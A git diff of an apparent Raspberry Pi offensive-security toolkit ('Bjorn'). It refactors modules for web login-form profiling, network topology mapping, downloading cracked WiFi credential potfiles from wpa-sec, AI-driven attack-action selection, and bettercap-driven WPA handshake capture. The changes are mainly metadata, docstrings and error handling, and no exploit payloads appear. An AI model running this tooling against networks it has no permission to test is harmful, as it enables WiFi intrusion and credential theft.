|
||||||
b_rate_limit = "6/86400"
|
b_rate_limit = "6/86400"
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
|
b_timeout = 300
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["web", "login", "auth", "profiler"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Web Login Profiler"
|
||||||
|
b_description = "Detects login forms and auth controls on web endpoints."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "WebLoginProfiler.png"
|
||||||
|
|
||||||
# Small curated list, cheap but high signal.
|
# Small curated list, cheap but high signal.
|
||||||
DEFAULT_PATHS = [
|
DEFAULT_PATHS = [
|
||||||
@@ -309,6 +313,9 @@ class WebLoginProfiler:
|
|||||||
# "success" means: profiler ran; not that a login exists.
|
# "success" means: profiler ran; not that a login exists.
|
||||||
logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})")
|
logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})")
|
||||||
return "success"
|
return "success"
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"WebLoginProfiler failed for {ip}:{port_i}: {e}")
|
||||||
|
return "failed"
|
||||||
finally:
|
finally:
|
||||||
self.shared_data.bjorn_progress = ""
|
self.shared_data.bjorn_progress = ""
|
||||||
self.shared_data.comment_params = {}
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,14 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""web_surface_mapper.py - Aggregate login_profiler findings into a per-target risk score."""
|
||||||
web_surface_mapper.py — Post-profiler web surface scoring (no exploitation).
|
|
||||||
|
|
||||||
Trigger idea: run after WebLoginProfiler to compute a summary and a "risk score"
|
|
||||||
from recent webenum rows written by tool='login_profiler'.
|
|
||||||
|
|
||||||
Writes one summary row into `webenum` (tool='surface_mapper') so it appears in UI.
|
|
||||||
Updates EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
@@ -33,6 +25,17 @@ b_action = "normal"
|
|||||||
b_cooldown = 600
|
b_cooldown = 600
|
||||||
b_rate_limit = "48/86400"
|
b_rate_limit = "48/86400"
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
|
b_timeout = 300
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 6
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["web", "login", "risk", "mapper"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Web Surface Mapper"
|
||||||
|
b_description = "Aggregates login profiler findings into a per-target risk score."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "WebSurfaceMapper.png"
|
||||||
|
|
||||||
|
|
||||||
def _scheme_for_port(port: int) -> str:
|
def _scheme_for_port(port: int) -> str:
|
||||||
@@ -226,6 +229,9 @@ class WebSurfaceMapper:
|
|||||||
|
|
||||||
progress.set_complete()
|
progress.set_complete()
|
||||||
return "success"
|
return "success"
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"WebSurfaceMapper failed for {ip}:{port_i}: {e}")
|
||||||
|
return "failed"
|
||||||
finally:
|
finally:
|
||||||
self.shared_data.bjorn_progress = ""
|
self.shared_data.bjorn_progress = ""
|
||||||
self.shared_data.comment_params = {}
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# wpasec_potfiles.py
|
"""wpasec_potfiles.py - Download, clean, import, or erase WiFi credentials from wpa-sec.stanev.org."""
|
||||||
# WPAsec Potfile Manager - Download, clean, import, or erase WiFi credentials
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import json
|
import json
|
||||||
@@ -25,6 +24,19 @@ b_description = (
|
|||||||
b_author = "Infinition"
|
b_author = "Infinition"
|
||||||
b_version = "1.0.0"
|
b_version = "1.0.0"
|
||||||
b_icon = f"/actions_icons/{b_class}.png"
|
b_icon = f"/actions_icons/{b_class}.png"
|
||||||
|
b_port = None
|
||||||
|
b_service = "[]"
|
||||||
|
b_trigger = None
|
||||||
|
b_priority = 30
|
||||||
|
b_timeout = 300
|
||||||
|
b_cooldown = 3600
|
||||||
|
b_stealth_level = 10
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_status = "wpasec_potfiles"
|
||||||
|
b_parent = None
|
||||||
|
b_rate_limit = None
|
||||||
|
b_max_retries = 1
|
||||||
|
b_tags = ["wifi", "wpa", "potfile", "credentials"]
|
||||||
b_docs_url = "https://wpa-sec.stanev.org/?api"
|
b_docs_url = "https://wpa-sec.stanev.org/?api"
|
||||||
|
|
||||||
b_args = {
|
b_args = {
|
||||||
@@ -110,8 +122,8 @@ def compute_dynamic_b_args(base: dict) -> dict:
|
|||||||
|
|
||||||
# ── CLASS IMPLEMENTATION ─────────────────────────────────────────────────────
|
# ── CLASS IMPLEMENTATION ─────────────────────────────────────────────────────
|
||||||
class WPAsecPotfileManager:
|
class WPAsecPotfileManager:
|
||||||
DEFAULT_SAVE_DIR = "/home/bjorn/Bjorn/data/input/potfiles"
|
DEFAULT_SAVE_DIR = os.path.join(os.path.expanduser("~"), "Bjorn", "data", "input", "potfiles")
|
||||||
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
|
DEFAULT_SETTINGS_DIR = os.path.join(os.path.expanduser("~"), ".settings_bjorn")
|
||||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json")
|
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json")
|
||||||
DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1"
|
DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1"
|
||||||
|
|
||||||
@@ -121,7 +133,6 @@ class WPAsecPotfileManager:
|
|||||||
Even if unused here, we store it for compatibility.
|
Even if unused here, we store it for compatibility.
|
||||||
"""
|
"""
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
|
|
||||||
|
|
||||||
# --- Orchestrator entry point ---
|
# --- Orchestrator entry point ---
|
||||||
def execute(self, ip=None, port=None, row=None, status_key=None):
|
def execute(self, ip=None, port=None, row=None, status_key=None):
|
||||||
@@ -130,16 +141,23 @@ class WPAsecPotfileManager:
|
|||||||
By default: download latest potfile if API key is available.
|
By default: download latest potfile if API key is available.
|
||||||
"""
|
"""
|
||||||
self.shared_data.bjorn_orch_status = "WPAsecPotfileManager"
|
self.shared_data.bjorn_orch_status = "WPAsecPotfileManager"
|
||||||
self.shared_data.comment_params = {"ip": ip, "port": port}
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"action": "download", "status": "starting"}
|
||||||
|
|
||||||
|
try:
|
||||||
api_key = self.load_api_key()
|
api_key = self.load_api_key()
|
||||||
if api_key:
|
if api_key:
|
||||||
logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).")
|
logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).")
|
||||||
self.download_potfile(self.DEFAULT_SAVE_DIR, api_key)
|
self.download_potfile(self.DEFAULT_SAVE_DIR, api_key)
|
||||||
|
# EPD live status update
|
||||||
|
self.shared_data.comment_params = {"action": "download", "status": "complete"}
|
||||||
return "success"
|
return "success"
|
||||||
else:
|
else:
|
||||||
logging.warning("WPAsecPotfileManager: no API key found, nothing done.")
|
logging.warning("WPAsecPotfileManager: no API key found, nothing done.")
|
||||||
return "failed"
|
return "failed"
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
# --- API Key Handling ---
|
# --- API Key Handling ---
|
||||||
def save_api_key(self, api_key: str):
|
def save_api_key(self, api_key: str):
|
||||||
|
|||||||
@@ -1,19 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""yggdrasil_mapper.py - Traceroute-based network topology mapping to JSON.
|
||||||
yggdrasil_mapper.py -- Network topology mapper (Pi Zero friendly, orchestrator compatible).
|
|
||||||
|
|
||||||
What it does:
|
Uses scapy ICMP (fallback: subprocess) and merges results across runs.
|
||||||
- Phase 1: Traceroute via scapy ICMP (fallback: subprocess traceroute) to discover
|
|
||||||
the routing path to the target IP. Records hop IPs and RTT per hop.
|
|
||||||
- Phase 2: Service enrichment -- reads existing port data from DB hosts table and
|
|
||||||
optionally verifies a handful of key ports with TCP connect probes.
|
|
||||||
- Phase 3: Builds a topology graph data structure (nodes + edges + metadata).
|
|
||||||
- Phase 4: Aggregates with topology data from previous runs (merge / deduplicate).
|
|
||||||
- Phase 5: Saves the combined topology as JSON to data/output/topology/.
|
|
||||||
|
|
||||||
No matplotlib or networkx dependency -- pure JSON output.
|
|
||||||
Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -105,7 +94,7 @@ b_examples = [
|
|||||||
b_docs_url = "docs/actions/YggdrasilMapper.md"
|
b_docs_url = "docs/actions/YggdrasilMapper.md"
|
||||||
|
|
||||||
# -------------------- Constants --------------------
|
# -------------------- Constants --------------------
|
||||||
_DATA_DIR = "/home/bjorn/Bjorn/data"
|
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology")
|
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology")
|
||||||
|
|
||||||
# Ports to verify during service enrichment (small set to stay Pi Zero friendly).
|
# Ports to verify during service enrichment (small set to stay Pi Zero friendly).
|
||||||
@@ -423,8 +412,8 @@ class YggdrasilMapper:
|
|||||||
|
|
||||||
# Query DB for known ports to prioritize probing
|
# Query DB for known ports to prioritize probing
|
||||||
db_ports = []
|
db_ports = []
|
||||||
|
host_data = None
|
||||||
try:
|
try:
|
||||||
# mac is available in the scope
|
|
||||||
host_data = self.shared_data.db.get_host_by_mac(mac)
|
host_data = self.shared_data.db.get_host_by_mac(mac)
|
||||||
if host_data and host_data.get("ports"):
|
if host_data and host_data.get("ports"):
|
||||||
# Normalize ports from DB string
|
# Normalize ports from DB string
|
||||||
|
|||||||
50
ai_engine.py
50
ai_engine.py
@@ -1,26 +1,6 @@
|
|||||||
"""
|
"""ai_engine.py - Lightweight AI decision engine for action selection on Pi Zero.
|
||||||
ai_engine.py - Dynamic AI Decision Engine for Bjorn
|
|
||||||
═══════════════════════════════════════════════════════════════════════════
|
|
||||||
|
|
||||||
Purpose:
|
Loads pre-trained model weights from PC; falls back to heuristics when unavailable.
|
||||||
Lightweight AI decision engine for Raspberry Pi Zero.
|
|
||||||
Works in tandem with deep learning model trained on external PC.
|
|
||||||
|
|
||||||
Architecture:
|
|
||||||
- Lightweight inference engine (no TensorFlow/PyTorch on Pi)
|
|
||||||
- Loads pre-trained model weights from PC
|
|
||||||
- Real-time action selection
|
|
||||||
- Automatic feature extraction
|
|
||||||
- Fallback to heuristics when model unavailable
|
|
||||||
|
|
||||||
Model Pipeline:
|
|
||||||
1. Pi: Collect data → Export → Transfer to PC
|
|
||||||
2. PC: Train deep neural network → Export lightweight model
|
|
||||||
3. Pi: Load model → Use for decision making
|
|
||||||
4. Repeat: Continuous learning cycle
|
|
||||||
|
|
||||||
Author: Bjorn Team
|
|
||||||
Version: 2.0.0
|
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -141,7 +121,7 @@ class BjornAIEngine:
|
|||||||
new_weights = {
|
new_weights = {
|
||||||
k: np.array(v) for k, v in weights_data.items()
|
k: np.array(v) for k, v in weights_data.items()
|
||||||
}
|
}
|
||||||
del weights_data # Free raw dict — numpy arrays are the canonical form
|
del weights_data # Free raw dict - numpy arrays are the canonical form
|
||||||
|
|
||||||
# AI-03: Save previous model for rollback
|
# AI-03: Save previous model for rollback
|
||||||
if self.model_loaded and self.model_weights is not None:
|
if self.model_loaded and self.model_weights is not None:
|
||||||
@@ -263,7 +243,7 @@ class BjornAIEngine:
|
|||||||
self._performance_window.append(reward)
|
self._performance_window.append(reward)
|
||||||
|
|
||||||
# Update current history entry
|
# Update current history entry
|
||||||
if self._model_history:
|
if self._model_history and len(self._performance_window) > 0:
|
||||||
self._model_history[-1]['avg_reward'] = round(
|
self._model_history[-1]['avg_reward'] = round(
|
||||||
sum(self._performance_window) / len(self._performance_window), 2
|
sum(self._performance_window) / len(self._performance_window), 2
|
||||||
)
|
)
|
||||||
@@ -345,7 +325,14 @@ class BjornAIEngine:
|
|||||||
|
|
||||||
current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0"
|
current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0"
|
||||||
|
|
||||||
if remote_version > current_version:
|
def _version_tuple(v: str) -> tuple:
|
||||||
|
"""Parse version string like '1.2.3' into comparable tuple (1, 2, 3)."""
|
||||||
|
try:
|
||||||
|
return tuple(int(x) for x in v.split('.'))
|
||||||
|
except (ValueError, AttributeError):
|
||||||
|
return (0,)
|
||||||
|
|
||||||
|
if _version_tuple(remote_version) > _version_tuple(current_version):
|
||||||
logger.info(f"New model available: {remote_version} (Local: {current_version})")
|
logger.info(f"New model available: {remote_version} (Local: {current_version})")
|
||||||
|
|
||||||
# Download config (stream to avoid loading the whole file into RAM)
|
# Download config (stream to avoid loading the whole file into RAM)
|
||||||
@@ -625,7 +612,7 @@ class BjornAIEngine:
|
|||||||
def _get_temporal_context(self, mac: str) -> Dict:
|
def _get_temporal_context(self, mac: str) -> Dict:
|
||||||
"""
|
"""
|
||||||
Collect real temporal features for a MAC from DB.
|
Collect real temporal features for a MAC from DB.
|
||||||
same_action_attempts / is_retry are action-specific — they are NOT
|
same_action_attempts / is_retry are action-specific - they are NOT
|
||||||
included here; instead they are merged from _get_action_context()
|
included here; instead they are merged from _get_action_context()
|
||||||
inside the per-action loop in _predict_with_model().
|
inside the per-action loop in _predict_with_model().
|
||||||
"""
|
"""
|
||||||
@@ -930,9 +917,14 @@ class BjornAIEngine:
|
|||||||
best_action = max(action_scores, key=action_scores.get)
|
best_action = max(action_scores, key=action_scores.get)
|
||||||
best_score = action_scores[best_action]
|
best_score = action_scores[best_action]
|
||||||
|
|
||||||
# Normalize score to 0-1
|
# Normalize score to 0-1 range
|
||||||
if best_score > 0:
|
# Static heuristic scores can exceed 1.0 when multiple port/service
|
||||||
best_score = min(best_score / 1.0, 1.0)
|
# rules match, so we normalize by the maximum observed score.
|
||||||
|
if best_score > 1.0:
|
||||||
|
all_vals = action_scores.values()
|
||||||
|
max_val = max(all_vals) if all_vals else 1.0
|
||||||
|
best_score = best_score / max_val if max_val > 0 else 1.0
|
||||||
|
best_score = min(best_score, 1.0)
|
||||||
|
|
||||||
debug_info = {
|
debug_info = {
|
||||||
'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics',
|
'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics',
|
||||||
|
|||||||
@@ -1,6 +1,4 @@
|
|||||||
"""
|
"""ai_utils.py - Shared feature extraction and encoding helpers for the AI engine."""
|
||||||
ai_utils.py - Shared AI utilities for Bjorn
|
|
||||||
"""
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import numpy as np
|
import numpy as np
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""__init__.py - Bifrost, pwnagotchi-compatible WiFi recon engine for Bjorn.
|
||||||
Bifrost — Pwnagotchi-compatible WiFi recon engine for Bjorn.
|
|
||||||
Runs as a daemon thread alongside MANUAL/AUTO/AI modes.
|
Runs as a daemon thread alongside MANUAL/AUTO/AI modes.
|
||||||
"""
|
"""
|
||||||
import os
|
import os
|
||||||
@@ -42,7 +42,7 @@ class BifrostEngine:
|
|||||||
|
|
||||||
# Wait for any previous thread to finish before re-starting
|
# Wait for any previous thread to finish before re-starting
|
||||||
if self._thread and self._thread.is_alive():
|
if self._thread and self._thread.is_alive():
|
||||||
logger.warning("Previous Bifrost thread still running — waiting ...")
|
logger.warning("Previous Bifrost thread still running - waiting ...")
|
||||||
self._stop_event.set()
|
self._stop_event.set()
|
||||||
self._thread.join(timeout=15)
|
self._thread.join(timeout=15)
|
||||||
|
|
||||||
@@ -82,7 +82,7 @@ class BifrostEngine:
|
|||||||
logger.info("Bifrost engine stopped")
|
logger.info("Bifrost engine stopped")
|
||||||
|
|
||||||
def _loop(self):
|
def _loop(self):
|
||||||
"""Main daemon loop — setup monitor mode, start bettercap, create agent, run recon cycle."""
|
"""Main daemon loop - setup monitor mode, start bettercap, create agent, run recon cycle."""
|
||||||
try:
|
try:
|
||||||
# Install compatibility shim for pwnagotchi plugins
|
# Install compatibility shim for pwnagotchi plugins
|
||||||
from bifrost import plugins as bfplugins
|
from bifrost import plugins as bfplugins
|
||||||
@@ -94,15 +94,15 @@ class BifrostEngine:
|
|||||||
|
|
||||||
if self._monitor_failed:
|
if self._monitor_failed:
|
||||||
logger.error(
|
logger.error(
|
||||||
"Monitor mode setup failed — Bifrost cannot operate without monitor "
|
"Monitor mode setup failed - Bifrost cannot operate without monitor "
|
||||||
"mode. For Broadcom chips (Pi Zero W/2W), install nexmon: "
|
"mode. For Broadcom chips (Pi Zero W/2W), install nexmon: "
|
||||||
"https://github.com/seemoo-lab/nexmon — "
|
"https://github.com/seemoo-lab/nexmon - "
|
||||||
"Or use an external USB WiFi adapter with monitor mode support.")
|
"Or use an external USB WiFi adapter with monitor mode support.")
|
||||||
# Teardown first (restores network services) BEFORE switching mode,
|
# Teardown first (restores network services) BEFORE switching mode,
|
||||||
# so the orchestrator doesn't start scanning on a dead network.
|
# so the orchestrator doesn't start scanning on a dead network.
|
||||||
self._teardown_monitor_mode()
|
self._teardown_monitor_mode()
|
||||||
self._running = False
|
self._running = False
|
||||||
# Now switch mode back to AUTO — the network should be restored.
|
# Now switch mode back to AUTO - the network should be restored.
|
||||||
# We set the flag directly FIRST (bypass setter to avoid re-stopping),
|
# We set the flag directly FIRST (bypass setter to avoid re-stopping),
|
||||||
# then ensure manual_mode/ai_mode are cleared so getter returns AUTO.
|
# then ensure manual_mode/ai_mode are cleared so getter returns AUTO.
|
||||||
try:
|
try:
|
||||||
@@ -112,7 +112,7 @@ class BifrostEngine:
|
|||||||
self.shared_data.manual_mode = False
|
self.shared_data.manual_mode = False
|
||||||
self.shared_data.ai_mode = False
|
self.shared_data.ai_mode = False
|
||||||
self.shared_data.invalidate_config_cache()
|
self.shared_data.invalidate_config_cache()
|
||||||
logger.info("Bifrost auto-disabled due to monitor mode failure — mode: AUTO")
|
logger.info("Bifrost auto-disabled due to monitor mode failure - mode: AUTO")
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
return
|
return
|
||||||
@@ -133,7 +133,7 @@ class BifrostEngine:
|
|||||||
# Initialize agent
|
# Initialize agent
|
||||||
self.agent.start()
|
self.agent.start()
|
||||||
|
|
||||||
logger.info("Bifrost agent started — entering recon cycle")
|
logger.info("Bifrost agent started - entering recon cycle")
|
||||||
|
|
||||||
# Main recon loop (port of do_auto_mode from pwnagotchi)
|
# Main recon loop (port of do_auto_mode from pwnagotchi)
|
||||||
while not self._stop_event.is_set():
|
while not self._stop_event.is_set():
|
||||||
@@ -208,7 +208,7 @@ class BifrostEngine:
|
|||||||
return True
|
return True
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
# nexutil exists — assume usable even without dmesg confirmation
|
# nexutil exists - assume usable even without dmesg confirmation
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -239,10 +239,10 @@ class BifrostEngine:
|
|||||||
"""Put the WiFi interface into monitor mode.
|
"""Put the WiFi interface into monitor mode.
|
||||||
|
|
||||||
Strategy order:
|
Strategy order:
|
||||||
1. Nexmon — for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W)
|
1. Nexmon - for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W)
|
||||||
Uses: iw phy <phy> interface add mon0 type monitor + nexutil -m2
|
Uses: iw phy <phy> interface add mon0 type monitor + nexutil -m2
|
||||||
2. airmon-ng — for chipsets with proper driver support (Atheros, Realtek, etc.)
|
2. airmon-ng - for chipsets with proper driver support (Atheros, Realtek, etc.)
|
||||||
3. iw — direct fallback for other drivers
|
3. iw - direct fallback for other drivers
|
||||||
"""
|
"""
|
||||||
self._monitor_torn_down = False
|
self._monitor_torn_down = False
|
||||||
self._nexmon_used = False
|
self._nexmon_used = False
|
||||||
@@ -270,7 +270,7 @@ class BifrostEngine:
|
|||||||
if self._has_nexmon():
|
if self._has_nexmon():
|
||||||
if self._setup_nexmon(base_iface, cfg):
|
if self._setup_nexmon(base_iface, cfg):
|
||||||
return
|
return
|
||||||
# nexmon setup failed — don't try other strategies, they won't work either
|
# nexmon setup failed - don't try other strategies, they won't work either
|
||||||
self._monitor_failed = True
|
self._monitor_failed = True
|
||||||
return
|
return
|
||||||
else:
|
else:
|
||||||
@@ -410,7 +410,7 @@ class BifrostEngine:
|
|||||||
logger.error("Monitor interface %s not created", mon_iface)
|
logger.error("Monitor interface %s not created", mon_iface)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Success — update config to use mon0
|
# Success - update config to use mon0
|
||||||
cfg['bifrost_iface'] = mon_iface
|
cfg['bifrost_iface'] = mon_iface
|
||||||
self._mon_iface = mon_iface
|
self._mon_iface = mon_iface
|
||||||
self._nexmon_used = True
|
self._nexmon_used = True
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""agent.py - Bifrost WiFi recon agent.
|
||||||
Bifrost — WiFi recon agent.
|
|
||||||
Ported from pwnagotchi/agent.py using composition instead of inheritance.
|
Ported from pwnagotchi/agent.py using composition instead of inheritance.
|
||||||
"""
|
"""
|
||||||
import time
|
import time
|
||||||
@@ -22,7 +22,7 @@ logger = Logger(name="bifrost.agent", level=logging.DEBUG)
|
|||||||
|
|
||||||
|
|
||||||
class BifrostAgent:
|
class BifrostAgent:
|
||||||
"""WiFi recon agent — drives bettercap, captures handshakes, tracks epochs."""
|
"""WiFi recon agent - drives bettercap, captures handshakes, tracks epochs."""
|
||||||
|
|
||||||
def __init__(self, shared_data, stop_event=None):
|
def __init__(self, shared_data, stop_event=None):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
@@ -170,7 +170,7 @@ class BifrostAgent:
|
|||||||
err_msg = str(e)
|
err_msg = str(e)
|
||||||
if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg:
|
if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg:
|
||||||
logger.error(
|
logger.error(
|
||||||
"wifi.recon failed: %s — Your WiFi chip likely does NOT support "
|
"wifi.recon failed: %s - Your WiFi chip likely does NOT support "
|
||||||
"monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 "
|
"monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 "
|
||||||
"has limited monitor mode support. Use an external USB WiFi adapter "
|
"has limited monitor mode support. Use an external USB WiFi adapter "
|
||||||
"(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and "
|
"(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and "
|
||||||
@@ -362,7 +362,7 @@ class BifrostAgent:
|
|||||||
logger.error("Error setting channel: %s", e)
|
logger.error("Error setting channel: %s", e)
|
||||||
|
|
||||||
def next_epoch(self):
|
def next_epoch(self):
|
||||||
"""Transition to next epoch — evaluate mood."""
|
"""Transition to next epoch - evaluate mood."""
|
||||||
self.automata.next_epoch(self.epoch)
|
self.automata.next_epoch(self.epoch)
|
||||||
# Persist epoch to DB
|
# Persist epoch to DB
|
||||||
data = self.epoch.data()
|
data = self.epoch.data()
|
||||||
@@ -393,7 +393,7 @@ class BifrostAgent:
|
|||||||
has_ws = True
|
has_ws = True
|
||||||
except ImportError:
|
except ImportError:
|
||||||
has_ws = False
|
has_ws = False
|
||||||
logger.warning("websockets package not installed — using REST event polling "
|
logger.warning("websockets package not installed - using REST event polling "
|
||||||
"(pip install websockets for real-time events)")
|
"(pip install websockets for real-time events)")
|
||||||
|
|
||||||
if has_ws:
|
if has_ws:
|
||||||
@@ -417,7 +417,7 @@ class BifrostAgent:
|
|||||||
loop.close()
|
loop.close()
|
||||||
|
|
||||||
def _rest_event_loop(self):
|
def _rest_event_loop(self):
|
||||||
"""REST-based fallback event poller — polls /api/events every 2s."""
|
"""REST-based fallback event poller - polls /api/events every 2s."""
|
||||||
while not self._stop_event.is_set():
|
while not self._stop_event.is_set():
|
||||||
try:
|
try:
|
||||||
events = self.bettercap.events()
|
events = self.bettercap.events()
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""automata.py - Bifrost mood state machine.
|
||||||
Bifrost — Mood state machine.
|
|
||||||
Ported from pwnagotchi/automata.py.
|
Ported from pwnagotchi/automata.py.
|
||||||
"""
|
"""
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""bettercap.py - Bifrost bettercap REST API client.
|
||||||
Bifrost — Bettercap REST API client.
|
|
||||||
Ported from pwnagotchi/bettercap.py using urllib (no requests dependency).
|
Ported from pwnagotchi/bettercap.py using urllib (no requests dependency).
|
||||||
"""
|
"""
|
||||||
import json
|
import json
|
||||||
@@ -54,16 +54,16 @@ class BettercapClient:
|
|||||||
raise Exception("bettercap unreachable: %s" % e.reason)
|
raise Exception("bettercap unreachable: %s" % e.reason)
|
||||||
|
|
||||||
def session(self):
|
def session(self):
|
||||||
"""GET /api/session — current bettercap state."""
|
"""GET /api/session - current bettercap state."""
|
||||||
return self._request('GET', '/session')
|
return self._request('GET', '/session')
|
||||||
|
|
||||||
def run(self, command, verbose_errors=True):
|
def run(self, command, verbose_errors=True):
|
||||||
"""POST /api/session — execute a bettercap command."""
|
"""POST /api/session - execute a bettercap command."""
|
||||||
return self._request('POST', '/session', {'cmd': command},
|
return self._request('POST', '/session', {'cmd': command},
|
||||||
verbose_errors=verbose_errors)
|
verbose_errors=verbose_errors)
|
||||||
|
|
||||||
def events(self):
|
def events(self):
|
||||||
"""GET /api/events — poll recent events (REST fallback)."""
|
"""GET /api/events - poll recent events (REST fallback)."""
|
||||||
try:
|
try:
|
||||||
result = self._request('GET', '/events', verbose_errors=False)
|
result = self._request('GET', '/events', verbose_errors=False)
|
||||||
# Clear after reading so we don't reprocess
|
# Clear after reading so we don't reprocess
|
||||||
@@ -80,7 +80,7 @@ class BettercapClient:
|
|||||||
|
|
||||||
Args:
|
Args:
|
||||||
consumer: async callable that receives each message string.
|
consumer: async callable that receives each message string.
|
||||||
stop_event: optional threading.Event — exit when set.
|
stop_event: optional threading.Event - exit when set.
|
||||||
"""
|
"""
|
||||||
import websockets
|
import websockets
|
||||||
import asyncio
|
import asyncio
|
||||||
@@ -99,5 +99,5 @@ class BettercapClient:
|
|||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
if stop_event and stop_event.is_set():
|
if stop_event and stop_event.is_set():
|
||||||
return
|
return
|
||||||
logger.debug("Websocket error: %s — reconnecting...", ex)
|
logger.debug("Websocket error: %s - reconnecting...", ex)
|
||||||
await asyncio.sleep(2)
|
await asyncio.sleep(2)
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
"""
|
"""compat.py - Pwnagotchi compatibility shim.
|
||||||
Bifrost — Pwnagotchi compatibility shim.
|
|
||||||
Registers `pwnagotchi` in sys.modules so existing plugins can
|
Registers `pwnagotchi` in sys.modules so existing plugins resolve to Bifrost.
|
||||||
`import pwnagotchi` and get Bifrost-backed implementations.
|
|
||||||
"""
|
"""
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
@@ -56,7 +55,7 @@ def install_shim(shared_data, bifrost_plugins_module):
|
|||||||
return 0.0
|
return 0.0
|
||||||
|
|
||||||
def _reboot():
|
def _reboot():
|
||||||
pass # no-op in Bifrost — we don't auto-reboot
|
pass # no-op in Bifrost - we don't auto-reboot
|
||||||
|
|
||||||
pwn.name = _name
|
pwn.name = _name
|
||||||
pwn.set_name = _set_name
|
pwn.set_name = _set_name
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""epoch.py - Bifrost epoch tracking and reward signals.
|
||||||
Bifrost — Epoch tracking.
|
|
||||||
Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py.
|
Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py.
|
||||||
"""
|
"""
|
||||||
import time
|
import time
|
||||||
@@ -17,7 +17,7 @@ NUM_CHANNELS = 14 # 2.4 GHz channels
|
|||||||
# ── Reward function (from pwnagotchi/ai/reward.py) ──────────────
|
# ── Reward function (from pwnagotchi/ai/reward.py) ──────────────
|
||||||
|
|
||||||
class RewardFunction:
|
class RewardFunction:
|
||||||
"""Reward signal for RL — higher is better."""
|
"""Reward signal for RL - higher is better."""
|
||||||
|
|
||||||
def __call__(self, epoch_n, state):
|
def __call__(self, epoch_n, state):
|
||||||
eps = 1e-20
|
